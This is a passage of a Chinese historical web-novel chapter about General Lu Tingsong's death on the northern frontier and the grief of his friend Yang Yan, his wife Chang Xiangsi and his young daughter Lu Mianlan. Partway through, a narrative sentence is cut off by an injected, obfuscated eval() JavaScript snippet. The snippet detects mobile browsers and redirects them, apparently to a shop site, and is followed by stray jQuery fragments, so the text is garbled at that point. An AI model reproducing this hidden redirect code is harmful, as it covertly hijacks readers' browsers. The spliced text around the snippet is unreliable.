天顾十四年，朔旦。


    距离镇国大将军陆庭松率师北上越冬，号角声震彻西北边塞的那一日，已近三月。


    阙都连降四场大雪之时，一骑快马踏碎琼瑶，八百里加急直入宫门——南洹王素服衔璧，亲诣军门请降。


    破晓时分，铁骑踏碎京城薄霜。看似凯旋雄师，实则仅余寥寥数骑。为首的白蹄乌马浑身浴血，鬃毛被血汗凝成硬绺，每踏一步都在雪地上留下深重痕迹。


    无名亲卫仍高举那封染血捷报，嘶声裂帛：


    “此战大捷！”


    “此战大捷！”


    “此战大捷——！”


    消息如漫天飞雪般传遍京城，当今圣上顾来歌下了诏令，派陆庭松至交好友，翰林院学士杨宴前去迎接，隔日大办庆功。


    但要被接回来的常胜镇国大将军，并不在铁骑最前方。


    “陆庭松呢？”城门大开，钟鼓长响。杨宴官服一如既往的整洁干净，原本负手立于门前，望着面前盔甲残破的将士，伸手扶了一把，沾上满手血污。


    他用帕子随意擦了擦，下意识用目光扫过队伍，右眼皮狠狠一跳，心头泛起诡异的不安：


    “打了胜仗，回头让他多赏你门两幅黄金甲。都是做大将军的人了，对你们也该大方点。”


    他说话时眼睛一直在往远方看，似乎在寻找什么，自然而然忽略了将士颤抖起的手。


    这支铁骑的血腥味很重，每个人都低下头，没有人说一句话，气氛诡异的沉重起来。


    “……”杨宴那股不安越来越浓稠，他张了张嘴：“陆庭松？别装了，晚上庆功宴请你吃酒去啊。这么久没回来，想必不知道如今京都什么酒最好了吧……”


    依旧无人回应，他顿了一下，转过脸看着领头的将士，声音哑了一下，沾上似有若无的紧张：“都这个时候了，别再招笑了。让他出来，别玩了。”


    副将翻身下马，立刻行礼，又在久久的沉默中下定决心，颤着双手递去一个漆黑的木匣，和一封染血的书信。


    他将头埋得更深，只听开口时似是咬紧牙关，却仍压抑不住悲恸，带着浓重哭腔的声音颤抖：


    “将军他……他杀敌时，被身后一支毒箭贯穿左肩，不治身亡了。”


    说话间木匣打开，一柄乌黑发亮的箭头赫然躺在那里，尖端还沾着血迹。


    是谁的血迹，不言而喻。


    杨宴瞳孔骤缩。他嘴唇颤着，竟一句话也说不出来了，寒风从他面门穿过，寒意甚至渗进心脏。


    良久后，他才找回自己干涩沙哑的声音：“……就回了你们几个么？其他人呢。”


    那名将士跪伏在地，闻言狠狠一颤。杨宴见他如此，便明白了什么。他没再问，也不指望这人再答什么，只闭了闭眼，刚想回一句“你起来吧”。


    却就在他即将说出口的刹那，跪在地上的人忽而抬起头，只见他深呼吸几次，闭上眼扬声答道：


    “途径奕北，我军遭遇埋伏。”他的声音逐渐低了下去，“只有我们……回来了。”


    他不敢再抬头，只是等待杨宴开口的那漫长片刻，忽而有一滴温热的雪水，似砸在他面前的雪地。


    将士愣了一瞬，抬头时看见杨宴下颌处有一处湿润的微光。


    那分明是一滴泪。


    ————


    冬日里斜阳落了山。陆眠兰坐在院前等着，先等到的，却是是两位叔伯。


    陆眠兰朝着他们笑了一下，素日他们过来脸上总是带着笑的，也会同陆眠兰逗上几句玩笑。


    可那日他们脸上只是绷着，立在陆府庭院，常相思似是有什么预感，迎出来的时候踉跄几步险些摔下石阶。


    “采茶，你先回屋去。”常相思勉力笑着，却没有如往常一般抬手，轻轻抚摸上她的发顶。


    陆眠兰有些不安，但她还是乖乖应了一声，小步小步往回走着，走两三步就要回头偷瞄一眼，却又在看到娘亲惨白的面庞时，忍不住害怕。


    她想了想，还是刹住了脚步，躲在门后，想偷听娘亲和叔伯说话。可是隔得太远，雪又太厚。陆眠兰除了能看到那三个立在雪中的身影外，什么都听不清。


    只见三人交谈中，一位叔伯从怀拿出什么，好像信笺，雪白的纸透过光身上开着点点暗红的梅。


    另一个叔伯则对着常相思微微一鞠躬，行了她看不懂的礼。


    彼时常相思也是背对着陆眠兰，她看不清楚她的表情。可当常相思接过那信笺时，薄弱的脊背在她单薄的袖衫下剧烈的颤抖。


    而后的一切，陆眠兰都看得无比清晰。


    她看见常相思拆着信笺的指尖都染上慌乱，单薄的纸张摊开，边角被冷风捻起，那薄纸被她虚握着，仿佛随时都会经不住寒意凛冽，被那划在脸上生疼的风揉碎了一般。


    时间在那一刻凝固了莫约十几秒，只余得耳边呼啸卷落雪扫院中青石而过的声响。


    随后，陆眠兰便看见她向那两位叔伯屈膝一礼，捻着信纸欲转身进屋。


    只在旋身一瞬，她看见娘亲抬臂捂住了嘴巴，从她紧敛着的指缝间淌出一丝血线，直直倒下在满地素银中。


    “娘亲——！”


    陆眠兰惊叫一声，刹那间便染上了哭腔。她几乎是扑了过去，腿一软便跪倒在常相思身侧，而后便是一双小手胡乱摸索着，最后用力拉住常相思的手指，挣扎着，想把人扶起来。


    那信笺落在地上，众人这才看清楚——


    点点暗红，不是梅花，是血滴晕开后凝在纸上的斑点。


    而彼时陆眠兰虽尚年幼，却跟着常相思，耳濡目染，跪倒在母亲身侧时下意识将信笺拾起，匆匆一眼略过，却发现恰好每一个字，她都认得。


    纸上不过寥寥数言：


    “妻女安宁，勿挂勿念，勿复相思。”


    “——相思枉断肠。”


    陆庭松走了。


    陆眠兰不知具体是哪一天哪一刻，但她就是清楚的知道，爹爹再也不会回来。


    ————


    天顾十四年二月，镇北将军陆庭松率师讨边寇，战殁于苍狼原。其妻常氏，字相思，柳州绣苑之首技者也。是日方理金线，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724240|183255||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刺双鸳锦帕，忽闻驿马传书至。


    常氏启函览毕，五脏俱摧，呕血升余，昏绝于绣架之侧。自此沉疴难起，延医问药皆曰：


    “此怆郁伤及五内，恐不逾五载。”


    时遗孤眠兰，方垂髫之年，甫过八岁诞辰。


    帝顾来歌与庭松总角相交，闻噩怆然泪下。然虑及抚恤忠烈，特赐东珠十斛、黄金千镒，复诏追赠骠骑大将军。内侍监请谥，帝执朱笔沉吟，忽洒泪挥就：


    “秉心端直曰昭，克定祸乱曰桓。可谥‘昭桓’。”


    笔落之际，殿外白杨萧瑟，如闻铁马悲鸣。


    赏赐的东西本应该由宫廷礼官操办，但还是杨宴的车马先一步停在府前，杨宴之妻顾花颜携其子杨徽之，跟着他一道下了马车。


    常相思跌跌撞撞地跑过去，仪态尽失，身后的陆眠兰怯生生探出头来，满脸通红，止不住的哽咽，却一眼就看到了许久不见的则玉哥哥。


    那少年已然是清隽优美，明明只略长她两岁，但个子却比同龄人略拔高。那时他身形清瘦挺拔，站在顾花颜身侧，像是一棵初长成的松树，正垂着眸子，不知在想些什么。


    赏赐被抬至常相思面前查验。黄金闪着灼目的光，刺得她双眼泛红。


    常相思抬手拭去眼角沁出的泪花，牵着陆眠兰立于庭前，看着那些赏赐，压抑不住模糊的泣音：


    “金银玉器和布匹，换不回我夫君。”


    陆眠兰看见母亲又落泪，再也忍不住，“哇”的一声开始嚎啕大哭。


    就是这时，她透过模糊的泪光里，依稀瞥见杨徽之抬眼朝着自己的方向望过来。


    只是她哭得太用力，错过了少年抿成一条线的唇，以及他那眼中那抹痛色与怜惜。


    顾花颜见常相思险些又摔在雪地，下意识也快步上前，稳稳托住她的手臂。还没等杨宴一句“节哀”出口，她便听见面前人压抑着哭腔：


    “我甚至都没有见到他最后一面……”


    她此话一出，陆眠兰眼泪掉得更凶。就连一直看似波澜不惊的杨宴，此刻面上也显得格外隐忍压抑。


    “好妹妹，”顾花颜也忍不住哽咽：“不哭了，外头太冷，你身子弱，再一哭可怎么好……”


    她说着还把杨徽之推向陆眠兰，抬手一抹眼泪，扬了扬下巴：“则玉，去陪陪采茶妹妹。我们大人，要说会儿话。”


    陆眠兰看着杨徽之被推了一把后，便面含忧色地一步一步朝着自己走来。


    她从前明明最喜欢和这个哥哥一道玩儿，但那天眼瞧着人走到跟前来了，却破天荒往后退了几步，小脸通红，大声哭喊一句：


    “我只要阿爹！”


    彼时杨徽之被这句话惹得一愣，便停下脚步，不再往前。他们隔着几步之遥，倒也正合了陆眠兰的心意，她一心一意地大哭，边哭边磕磕巴巴的重复“我要阿爹”。


    可如今细想来，那好像就是陆眠兰往后再十年间，最后一次见到杨徽之了。当年隔开的那几步距离，竟要十三年才能迈开。


    只是漫天大雪飞作纸钱，故人今不见。